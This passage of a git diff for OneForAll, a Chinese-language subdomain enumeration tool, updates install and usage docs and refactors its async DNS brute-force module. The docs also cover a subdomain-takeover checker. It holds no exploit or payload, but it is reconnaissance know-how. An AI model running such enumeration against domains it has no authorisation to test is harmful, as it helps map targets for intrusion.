选择好对应版本执行以下命令手动安装。举个例子,当编译pycares时失败时,找到[https://www.lfd.uci.edu/~gohlke/pythonlibs/#pycares](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pycares),由于我的系统是Windows 10 64位,使用的Python 3.7便下载`pycares‑3.0.0‑cp37‑cp37m‑win_amd64.whl`(一般来说下载最新版本的),然后手动安装:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip3 install pycares‑3.0.0‑cp37‑cp37m‑win_amd64.whl
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 到库的项目地址issues和wiki等找找有没有解决方法,如果没有就给他们提issues发邮件😜。
|
||||||
|
|
||||||
|
## 使用问题
|
||||||
|
|
||||||
|
**Q: 为什么运行OneForAll之后最终结果为空?**
|
||||||
|
|
||||||
|
A: 有几种可能性:第一可能目标域名没有子域。第二由于OneForAll默认会自动验证子域,在导出是只会有效子域,所以存在导出时没有有效子域的情况,你可以在运行OneForAll使用--valid=None指定导出所有发现的子域,你也可以使用--verify=False指定不验证子域的有效性。
|
||||||
|
|
||||||
|
**Q: 安装依赖时出现以下类似报错,怎么解决?**
|
||||||
|
Cannot uninstall 'PyYAML'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
|
||||||
|
|
||||||
|
A: 安装依赖时尝试加上--ignore-installed参数
|
||||||
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
如果在安装依赖过程遇到编译某个依赖库失败时可以尝试以下方法:
|
|
||||||
|
|
||||||
1. 到提供编译好的whl文件的第三方平台,找到对应库手动下载安装。第三方平台平台有:
|
|
||||||
* [https://www.lfd.uci.edu/~gohlke/pythonlibs](https://www.lfd.uci.edu/~gohlke/pythonlibs)
|
|
||||||
* [https://pythonwheels.com/](https://pythonwheels.com/)
|
|
||||||
|
|
||||||
选择好对应版本执行以下命令手动安装。举个例子,当编译pycares时失败时,找到[https://www.lfd.uci.edu/~gohlke/pythonlibs/#pycares](https://www.lfd.uci.edu/~gohlke/pythonlibs/#pycares),由于我的系统是Windows 10 64位,使用的Python 3.7便下载`pycares‑3.0.0‑cp37‑cp37m‑win_amd64.whl`(一般来说下载最新版本的),然后手动安装:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pip3 install pycares‑3.0.0‑cp37‑cp37m‑win_amd64.whl
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 到库的项目地址issues和wiki等找找有没有解决方法,如果没有就给他们提issues发邮件😜。
|
|
||||||
@@ -48,7 +48,7 @@ proxy_partial_module = ['GoogleQuery', 'AskSearch'] # 只代理GoogleQuery和As
|
|||||||
| archivecrawl | 否 | 否 | |
|
| archivecrawl | 否 | 否 | |
|
||||||
| commoncrawl | 否 | 否 | |
|
| commoncrawl | 否 | 否 | |
|
||||||
|
|
||||||
4. 利用DNS数据集收集子域(目前有16个模块:`binaryedge_api`, `circl_api`, `hackertarget`, `riddler`, `bufferover`, `dnsdb`, `ipv4info`, `robtex`, `chinaz`, `dnsdb_api`, `netcraft`, `securitytrails_api`, `chinaz_api`, `dnsdumpster`, `ptrarchive`, `sitedossier`)
|
4. 利用DNS数据集收集子域(目前有18个模块:`binaryedge_api`, `circl_api`, `hackertarget`, `riddler`, `bufferover`, `dnsdb`, `ipv4info`, `robtex`, `chinaz`, `dnsdb_api`, `netcraft`, `securitytrails_api`, `chinaz_api`, `dnsdumpster`, `passivedns_api`, `ptrarchive`, `sitedossier`,`threatcrowd`)
|
||||||
|
|
||||||
| 模块名称 | 是否需要代理 | 是否需要API | 其他说明 |
|
| 模块名称 | 是否需要代理 | 是否需要API | 其他说明 |
|
||||||
| ------------------ | ------------ | ----------- | -------------------------------------------------- |
|
| ------------------ | ------------ | ----------- | -------------------------------------------------- |
|
||||||
@@ -63,11 +63,13 @@ proxy_partial_module = ['GoogleQuery', 'AskSearch'] # 只代理GoogleQuery和As
|
|||||||
| hackertarget | 否 | 否 | |
|
| hackertarget | 否 | 否 | |
|
||||||
| ipv4info | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| ipv4info | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| netcraft | 否 | 否 | |
|
| netcraft | 否 | 否 | |
|
||||||
|
| passivedns_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| ptrarchive | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| ptrarchive | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| riddler | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| riddler | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| robtex | 否 | 否 | |
|
| robtex | 否 | 否 | |
|
||||||
| securitytrails_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| securitytrails_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| sitedossier | 否 | 否 | |
|
| sitedossier | 否 | 否 | |
|
||||||
|
| threatcrowd | 否 | 否 | |
|
||||||
5. 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域`srv`,该模块还有待添加和完善)
|
5. 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域`srv`,该模块还有待添加和完善)
|
||||||
|
|
||||||
| 模块名称 | 是否需要代理 | 是否需要API | 其他说明 |
|
| 模块名称 | 是否需要代理 | 是否需要API | 其他说明 |
|
||||||
@@ -82,12 +84,12 @@ proxy_partial_module = ['GoogleQuery', 'AskSearch'] # 只代理GoogleQuery和As
|
|||||||
| threatminer | 否 | 否 | |
|
| threatminer | 否 | 否 | |
|
||||||
| virustotal | 否 | 否 | |
|
| virustotal | 否 | 否 | |
|
||||||
| virustotal_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| virustotal_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
7. 利用搜索引擎发现子域(目前有15个模块:`ask`, `bing_api`, `fofa_api`, `shodan_api`, `yahoo`, `baidu`, `duckduckgo`, `google`, `so`, `yandex`, `bing`, `exalead`, `google_api`, `sogou`, `zoomeye_api`)
|
7. 利用搜索引擎发现子域(目前有16个模块:`ask`, `bing_api`, `fofa_api`, `shodan_api`, `yahoo`, `baidu`, `duckduckgo`, `github`, `google`, `so`, `yandex`, `bing`, `exalead`, `google_api`, `sogou`, `zoomeye_api`)
|
||||||
|
|
||||||
除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
|
除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
|
||||||
|
|
||||||
| 模块 | 是否需要代理 | 是否需要API | 其他说明 |
|
| 模块 | 是否需要代理 | 是否需要API | 其他说明 |
|
||||||
| ----------- | ---------------------- | ----------- | -------------------------------------------------- |
|
| ----------- | ---------------------- | ----------- | ----------------------------------------------------------- |
|
||||||
| ask | 是 | 否 | |
|
| ask | 是 | 否 | |
|
||||||
| baidu | 否 | 否 | |
|
| baidu | 否 | 否 | |
|
||||||
| bing | 否 | 否 | |
|
| bing | 否 | 否 | |
|
||||||
@@ -95,6 +97,7 @@ proxy_partial_module = ['GoogleQuery', 'AskSearch'] # 只代理GoogleQuery和As
|
|||||||
| duckduckgo | 是 | 否 | |
|
| duckduckgo | 是 | 否 | |
|
||||||
| exalead | 否,最好使用国外代理。 | 否 | |
|
| exalead | 否,最好使用国外代理。 | 否 | |
|
||||||
| fofa_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| fofa_api | 否 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
|
| github | 否 | 否 | 在[config.py](../oneforall/config.py)设置Github邮件名和密码 |
|
||||||
| google | 是 | 否 | |
|
| google | 是 | 否 | |
|
||||||
| google_api | 是 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| google_api | 是 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
| shodan_api | 否,最好使用国外代理。 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
| shodan_api | 否,最好使用国外代理。 | 是 | API使用和申请见[config.py](../oneforall/config.py) |
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# 安装依赖
|
||||||
|
|
||||||
|
你可以通过pip3和pipenv两种方法安装OneForAll的依赖(如果你熟悉[pipenv](https://docs.pipenv.org/en/latest/),那么推荐使用你使用pipenv):
|
||||||
|
|
||||||
|
* **Windows系统**(注意:如果你的Python3安装在系统Program Files目录下,如:`C:\Program Files\Python37`,那么请以管理员身份运行命令提示符cmd执行以下命令!)
|
||||||
|
|
||||||
|
1. 使用pipenv
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user pipenv -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pipenv install --user --python 3.7
|
||||||
|
cd oneforall
|
||||||
|
pipenv run python oneforall.py --help
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 使用pip3
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
cd oneforall/
|
||||||
|
python oneforall.py --help
|
||||||
|
```
|
||||||
|
* **Linux系统**
|
||||||
|
|
||||||
|
1. 使用pipenv
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python3 -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
sudo pip3 install --user pipenv -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
sudo pipenv install --user --python 3.7
|
||||||
|
cd oneforall
|
||||||
|
pipenv run python3 oneforall.py --help
|
||||||
|
```
|
||||||
|
2. 使用pip3
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python3 -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
cd oneforall/
|
||||||
|
python3 oneforall.py --help
|
||||||
|
```
|
||||||
|
* **Darwin系统**
|
||||||
|
|
||||||
|
1. 使用pipenv
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python3 -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user pipenv -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pipenv install --user --python 3.7
|
||||||
|
cd oneforall
|
||||||
|
pipenv run python3 oneforall.py --help
|
||||||
|
```
|
||||||
|
2. 使用pip3
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python3 -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
cd oneforall/
|
||||||
|
python3 oneforall.py --help
|
||||||
|
```
|
||||||
@@ -0,0 +1,212 @@
|
|||||||
|
# 使用帮助
|
||||||
|
|
||||||
|
oneforall.py是主程序入口,oneforall.py里有调用aiobrute.py和dbexport.py,为了方便进行子域爆破和数据库导出独立出了aiobrute.py和dbexport.py,这两个文件可以单独运行,并且所接受参数要更丰富一点。
|
||||||
|
|
||||||
|
1. oneforall.py使用帮助
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python oneforall.py --help
|
||||||
|
```
|
||||||
|
```bash
|
||||||
|
NAME
|
||||||
|
oneforall.py - OneForAll是一款功能强大的子域收集工具
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
oneforall.py --target=TARGET <flags>
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
Version: 0.0.4
|
||||||
|
Project: https://git.io/fjHT1
|
||||||
|
|
||||||
|
Example:
|
||||||
|
python3 oneforall.py --target example.com run
|
||||||
|
python3 oneforall.py --target ./domains.txt run
|
||||||
|
python3 oneforall.py --target example.com --brute True run
|
||||||
|
python3 oneforall.py --target example.com --verify False run
|
||||||
|
python3 oneforall.py --target example.com --valid None run
|
||||||
|
python3 oneforall.py --target example.com --port medium run
|
||||||
|
python3 oneforall.py --target example.com --format csv run
|
||||||
|
python3 oneforall.py --target example.com --show True run
|
||||||
|
|
||||||
|
Note:
|
||||||
|
参数valid可选值1,0,None分别表示导出有效,无效,全部子域
|
||||||
|
参数verify为True会尝试解析和请求子域并根据结果给子域有效性打上标签
|
||||||
|
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
||||||
|
参数format可选格式有'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
||||||
|
'dbf', 'latex', 'ods'
|
||||||
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
|
ARGUMENTS
|
||||||
|
TARGET
|
||||||
|
单个域名或者每行一个域名的文件路径(必需参数)
|
||||||
|
|
||||||
|
FLAGS
|
||||||
|
--brute=BRUTE
|
||||||
|
使用爆破模块(默认False)
|
||||||
|
--verify=VERIFY
|
||||||
|
验证子域有效性(默认True)
|
||||||
|
--port=PORT
|
||||||
|
请求验证的端口范围(默认medium)
|
||||||
|
--valid=VALID
|
||||||
|
导出子域的有效性(默认1)
|
||||||
|
--path=PATH
|
||||||
|
导出路径(默认None)
|
||||||
|
--format=FORMAT
|
||||||
|
导出格式(默认xlsx)
|
||||||
|
--show=SHOW
|
||||||
|
终端显示导出数据(默认False)
|
||||||
|
```
|
||||||
|
|
||||||
|
2. aiobrute.py使用帮助
|
||||||
|
|
||||||
|
关于泛解析问题处理程序首先会访问一个随机的子域判断是否泛解析,如果使用了泛解析则是通过以下判断处理:
|
||||||
|
- 一是主要是与泛解析的IP集合和TTL值做对比,可以参考[这篇文章](http://sh3ll.me/archives/201704041222.txt)。
|
||||||
|
- 二是多次解析到同一IP集合次数(默认设置为10,可以在config.py设置大小)
|
||||||
|
- 考虑爆破效率问题目前还没有加上HTTP响应体相似度对比和响应体内容判断
|
||||||
|
经过测试在16核心的CPU,使用16进程64协程,100M带宽的环境下,设置任务分割为50000,跑两百万字典大概10分钟左右跑完,大概3333个子域每秒。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python aiobrute.py --help
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
NAME
|
||||||
|
aiobrute.py - OneForAll多进程多协程异步子域爆破模块
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
aiobrute.py --target=TARGET <flags>
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
Example:
|
||||||
|
python3 aiobrute.py --target example.com run
|
||||||
|
python3 aiobrute.py --target ./domains.txt run
|
||||||
|
python3 aiobrute.py --target example.com --process 4 --coroutine 64 run
|
||||||
|
python3 aiobrute.py --target example.com --wordlist subdomains.txt run
|
||||||
|
python3 aiobrute.py --target example.com --recursive True --depth 2 run
|
||||||
|
python3 aiobrute.py --target m.{fuzz}.a.bz --fuzz True --rule [a-z] run
|
||||||
|
|
||||||
|
Note:
|
||||||
|
参数segment的设置受CPU性能,网络带宽,运营商限制等问题影响,默认设置500个子域为任务组,
|
||||||
|
当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
||||||
|
十万字典建议设置为5000,百万字典设置为50000
|
||||||
|
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
||||||
|
参数format可选格式:'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
||||||
|
'dbf', 'latex', 'ods'
|
||||||
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
|
ARGUMENTS
|
||||||
|
TARGET
|
||||||
|
单个域名或者每行一个域名的文件路径
|
||||||
|
|
||||||
|
FLAGS
|
||||||
|
--process=PROCESS
|
||||||
|
爆破的进程数(默认CPU核心数)
|
||||||
|
--coroutine=COROUTINE
|
||||||
|
每个爆破进程下的协程数(默认64)
|
||||||
|
--wordlist=WORDLIST
|
||||||
|
指定爆破所使用的字典路径(默认使用config.py配置)
|
||||||
|
--segment=SEGMENT
|
||||||
|
爆破任务分割(默认500)
|
||||||
|
--recursive=RECURSIVE
|
||||||
|
是否使用递归爆破(默认False)
|
||||||
|
--depth=DEPTH
|
||||||
|
递归爆破的深度(默认2)
|
||||||
|
--namelist=NAMELIST
|
||||||
|
指定递归爆破所使用的字典路径(默认使用config.py配置)
|
||||||
|
--fuzz=FUZZ
|
||||||
|
是否使用fuzz模式进行爆破(默认False,开启须指定fuzz正则规则)
|
||||||
|
--rule=RULE
|
||||||
|
fuzz模式使用的正则规则(默认使用config.py配置)
|
||||||
|
--export=EXPORT
|
||||||
|
是否导出爆破结果(默认True)
|
||||||
|
--valid=VALID
|
||||||
|
导出子域的有效性(默认None)
|
||||||
|
--format=FORMAT
|
||||||
|
导出格式(默认xlsx)
|
||||||
|
--path=PATH
|
||||||
|
导出路径(默认None)
|
||||||
|
--show=SHOW
|
||||||
|
终端显示导出数据(默认False)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
3. takeover.py使用帮助
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python takeover.py --help
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
NAME
|
||||||
|
takeover.py - OneForAll多线程子域接管风险检查模块
|
||||||
|
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
takeover.py COMMAND | --target=TARGET <flags>
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
Example:
|
||||||
|
python3 takeover.py --target www.example.com --format csv run
|
||||||
|
python3 takeover.py --target ./subdomains.txt --thread 10 run
|
||||||
|
|
||||||
|
Note:
|
||||||
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
|
参数dpath为None默认使用OneForAll结果目录
|
||||||
|
|
||||||
|
ARGUMENTS
|
||||||
|
TARGET
|
||||||
|
单个子域或者每行一个子域的文件路径(必需参数)
|
||||||
|
|
||||||
|
FLAGS
|
||||||
|
--thread=THREAD
|
||||||
|
线程数(默认100)
|
||||||
|
--dpath=DPATH
|
||||||
|
导出目录(默认None)
|
||||||
|
--format=FORMAT
|
||||||
|
导出格式(默认xls)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
4. dbexport.py使用帮助
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python dbexport.py --help
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
NAME
|
||||||
|
dbexport.py - OneForAll数据库导出模块
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
dbexport.py TABLE <flags>
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
Example:
|
||||||
|
python3 dbexport.py --table name --format csv --path= ./result.csv
|
||||||
|
python3 dbexport.py --db result.db --table name --show False
|
||||||
|
|
||||||
|
Note:
|
||||||
|
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
||||||
|
参数format可选格式有'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
||||||
|
'dbf', 'latex', 'ods'
|
||||||
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
|
POSITIONAL ARGUMENTS
|
||||||
|
TABLE
|
||||||
|
要导出的表
|
||||||
|
|
||||||
|
FLAGS
|
||||||
|
--db=DB
|
||||||
|
要导出的数据库路径(默认为results/result.sqlite3)
|
||||||
|
--valid=VALID
|
||||||
|
导出子域的有效性(默认None)
|
||||||
|
--path=PATH
|
||||||
|
导出路径(默认None)
|
||||||
|
--format=FORMAT
|
||||||
|
导出格式(默认xlsx)
|
||||||
|
--show=SHOW
|
||||||
|
终端显示导出数据(默认False)
|
||||||
|
```
|
||||||
+36
-28
@@ -14,7 +14,7 @@ import secrets
|
|||||||
import signal
|
import signal
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import aiomultiprocess
|
import aiomultiprocess as aiomp
|
||||||
import exrex
|
import exrex
|
||||||
import fire
|
import fire
|
||||||
import tqdm
|
import tqdm
|
||||||
@@ -132,24 +132,24 @@ class AIOBrute(Module):
|
|||||||
OneForAll多进程多协程异步子域爆破模块
|
OneForAll多进程多协程异步子域爆破模块
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
python3 aiobrute.py --target example.com run
|
python3 aiobrute.py --target subdomain.com run
|
||||||
python3 aiobrute.py --target ./domains.txt run
|
python3 aiobrute.py --target ./subdomains.txt run
|
||||||
python3 aiobrute.py --target example.com --processes 4 --coroutine 64
|
python3 aiobrute.py --target example.com --process 4 --coroutine 64 run
|
||||||
python3 aiobrute.py --target example.com --wordlist subdomains.txt run
|
python3 aiobrute.py --target example.com --wordlist subnames.txt run
|
||||||
python3 aiobrute.py --target example.com --recursive True --depth 2 run
|
python3 aiobrute.py --target example.com --recursive True --depth 2 run
|
||||||
python3 aiobrute.py --target m.{fuzz}.a.bz --fuzz True --rule [a-z] run
|
python3 aiobrute.py --target m.{fuzz}.a.bz --fuzz True --rule [a-z] run
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
参数segment的设置受CPU性能,网络带宽,运营商限制等问题影响,默认设置500个子域为任务组,
|
参数segment的设置受CPU性能,网络带宽,运营商限制等限制,默认500个子域为任务组,
|
||||||
当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
当你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
||||||
十万字典建议设置为5000,百万字典设置为50000
|
十万字典建议设置为5000,百万字典设置为50000
|
||||||
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
||||||
参数format可选格式:'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
'dbf', 'latex', 'ods'
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
:param str target: 单个域名或者每行一个域名的文件路径
|
:param str target: 单个域名或者每行一个域名的文件路径
|
||||||
:param int processes: 爆破的进程数(默认CPU核心数)
|
:param int process: 爆破的进程数(默认CPU核心数)
|
||||||
:param int coroutine: 每个爆破进程下的协程数(默认64)
|
:param int coroutine: 每个爆破进程下的协程数(默认64)
|
||||||
:param str wordlist: 指定爆破所使用的字典路径(默认使用config.py配置)
|
:param str wordlist: 指定爆破所使用的字典路径(默认使用config.py配置)
|
||||||
:param int segment: 爆破任务分割(默认500)
|
:param int segment: 爆破任务分割(默认500)
|
||||||
@@ -160,22 +160,22 @@ class AIOBrute(Module):
|
|||||||
:param str rule: fuzz模式使用的正则规则(默认使用config.py配置)
|
:param str rule: fuzz模式使用的正则规则(默认使用config.py配置)
|
||||||
:param bool export: 是否导出爆破结果(默认True)
|
:param bool export: 是否导出爆破结果(默认True)
|
||||||
:param int valid: 导出子域的有效性(默认None)
|
:param int valid: 导出子域的有效性(默认None)
|
||||||
:param str format: 导出格式(默认xlsx)
|
:param str format: 导出格式(默认csv)
|
||||||
:param str path: 导出路径(默认None)
|
:param str path: 导出路径(默认None)
|
||||||
:param
|
:param bool show: 终端显示导出数据(默认False)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, target, processes=None, coroutine=64, wordlist=None,
|
def __init__(self, target, process=None, coroutine=64, wordlist=None,
|
||||||
segment=500, recursive=False, depth=2, namelist=None,
|
segment=500, recursive=False, depth=2, namelist=None,
|
||||||
fuzz=False, rule=None, export=True, valid=None, format='xlsx',
|
fuzz=False, rule=None, export=True, valid=None, format='csv',
|
||||||
path=None):
|
path=None, show=False):
|
||||||
Module.__init__(self)
|
Module.__init__(self)
|
||||||
self.domains = set()
|
self.domains = set()
|
||||||
self.domain = str()
|
self.domain = str()
|
||||||
self.module = 'Brute'
|
self.module = 'Brute'
|
||||||
self.source = 'AIOBrute'
|
self.source = 'AIOBrute'
|
||||||
self.target = target
|
self.target = target
|
||||||
self.processes = processes or config.brute_processes_num
|
self.process = process or config.brute_process_num
|
||||||
self.coroutine = coroutine or config.brute_coroutine_num
|
self.coroutine = coroutine or config.brute_coroutine_num
|
||||||
self.wordlist = wordlist or config.brute_wordlist_path
|
self.wordlist = wordlist or config.brute_wordlist_path
|
||||||
self.segment = segment or config.brute_task_segment
|
self.segment = segment or config.brute_task_segment
|
||||||
@@ -188,6 +188,7 @@ class AIOBrute(Module):
|
|||||||
self.valid = valid
|
self.valid = valid
|
||||||
self.format = format
|
self.format = format
|
||||||
self.path = path
|
self.path = path
|
||||||
|
self.show = show
|
||||||
self.nameservers = config.resolver_nameservers
|
self.nameservers = config.resolver_nameservers
|
||||||
self.ips_times = dict() # IP集合出现次数
|
self.ips_times = dict() # IP集合出现次数
|
||||||
self.enable_wildcard = False # 当前域名是否使用泛解析
|
self.enable_wildcard = False # 当前域名是否使用泛解析
|
||||||
@@ -195,7 +196,7 @@ class AIOBrute(Module):
|
|||||||
self.wildcard_ttl = int() # 泛解析TTL整型值
|
self.wildcard_ttl = int() # 泛解析TTL整型值
|
||||||
|
|
||||||
def gen_tasks(self, domain):
|
def gen_tasks(self, domain):
|
||||||
# 如果domain不是self.domain,而是self.domain的子域 生成递归爆破字典
|
# 如果domain不是self.subdomain,而是self.domain的子域 生成递归爆破字典
|
||||||
if self.domain != domain:
|
if self.domain != domain:
|
||||||
logger.log('INFOR', f'使用{self.recursive_namelist}字典')
|
logger.log('INFOR', f'使用{self.recursive_namelist}字典')
|
||||||
domains = gen_brute_domains(domain, self.recursive_namelist)
|
domains = gen_brute_domains(domain, self.recursive_namelist)
|
||||||
@@ -210,6 +211,8 @@ class AIOBrute(Module):
|
|||||||
|
|
||||||
def deal_results(self, results):
|
def deal_results(self, results):
|
||||||
for result in results:
|
for result in results:
|
||||||
|
if result is None:
|
||||||
|
continue
|
||||||
if isinstance(result, Exception):
|
if isinstance(result, Exception):
|
||||||
# logger.log('DEBUG', f'爆破{subdomain}时出错 {str(answers)}')
|
# logger.log('DEBUG', f'爆破{subdomain}时出错 {str(answers)}')
|
||||||
continue
|
continue
|
||||||
@@ -223,7 +226,8 @@ class AIOBrute(Module):
|
|||||||
self.ips_times[str(ips)] = value + 1
|
self.ips_times[str(ips)] = value + 1
|
||||||
ttl = answers[0].ttl
|
ttl = answers[0].ttl
|
||||||
if self.enable_wildcard:
|
if self.enable_wildcard:
|
||||||
if wildcard_by_compare(ips, ttl,
|
if wildcard_by_compare(ips,
|
||||||
|
ttl,
|
||||||
self.wildcard_ips,
|
self.wildcard_ips,
|
||||||
self.wildcard_ttl):
|
self.wildcard_ttl):
|
||||||
continue
|
continue
|
||||||
@@ -236,15 +240,17 @@ class AIOBrute(Module):
|
|||||||
|
|
||||||
async def main(self, domain, rx_queue):
|
async def main(self, domain, rx_queue):
|
||||||
if not self.fuzz: # fuzz模式不探测域名是否使用泛解析
|
if not self.fuzz: # fuzz模式不探测域名是否使用泛解析
|
||||||
self.enable_wildcard, self.wildcard_ips, self.wildcard_ttl = detect_wildcard(domain)
|
self.enable_wildcard, self.wildcard_ips, self.wildcard_ttl \
|
||||||
|
= detect_wildcard(domain)
|
||||||
tasks = self.gen_tasks(domain)
|
tasks = self.gen_tasks(domain)
|
||||||
logger.log('INFOR', f'正在爆破{domain}的域名')
|
logger.log('INFOR', f'正在爆破{domain}的域名')
|
||||||
for task in tqdm.tqdm(tasks, desc='Progress',
|
for task in tqdm.tqdm(tasks,
|
||||||
smoothing=1.0, ncols=True):
|
desc='Progress',
|
||||||
async with aiomultiprocess.Pool(processes=self.processes,
|
smoothing=1.0,
|
||||||
|
ncols=True):
|
||||||
|
async with aiomp.Pool(processes=self.process,
|
||||||
initializer=init_worker,
|
initializer=init_worker,
|
||||||
childconcurrency=self.coroutine)\
|
childconcurrency=self.coroutine) as pool:
|
||||||
as pool:
|
|
||||||
try:
|
try:
|
||||||
results = await pool.map(resolve.aiodns_query_a, task)
|
results = await pool.map(resolve.aiodns_query_a, task)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
@@ -269,7 +275,7 @@ class AIOBrute(Module):
|
|||||||
if not rx_queue:
|
if not rx_queue:
|
||||||
rx_queue = queue.Queue()
|
rx_queue = queue.Queue()
|
||||||
logger.log('INFOR', f'开始执行{self.source}模块爆破域名{self.domain}')
|
logger.log('INFOR', f'开始执行{self.source}模块爆破域名{self.domain}')
|
||||||
logger.log('INFOR', f'使用{self.processes}进程乘{self.coroutine}协程')
|
logger.log('INFOR', f'使用{self.process}进程乘{self.coroutine}协程')
|
||||||
# fuzz模式不使用递归爆破
|
# fuzz模式不使用递归爆破
|
||||||
if self.recursive_brute and not self.fuzz:
|
if self.recursive_brute and not self.fuzz:
|
||||||
logger.log('INFOR', f'开始递归爆破{self.domain}的第1层子域')
|
logger.log('INFOR', f'开始递归爆破{self.domain}的第1层子域')
|
||||||
@@ -286,7 +292,8 @@ class AIOBrute(Module):
|
|||||||
f'第{layer_num + 1}层子域')
|
f'第{layer_num + 1}层子域')
|
||||||
for subdomain in self.subdomains.copy():
|
for subdomain in self.subdomains.copy():
|
||||||
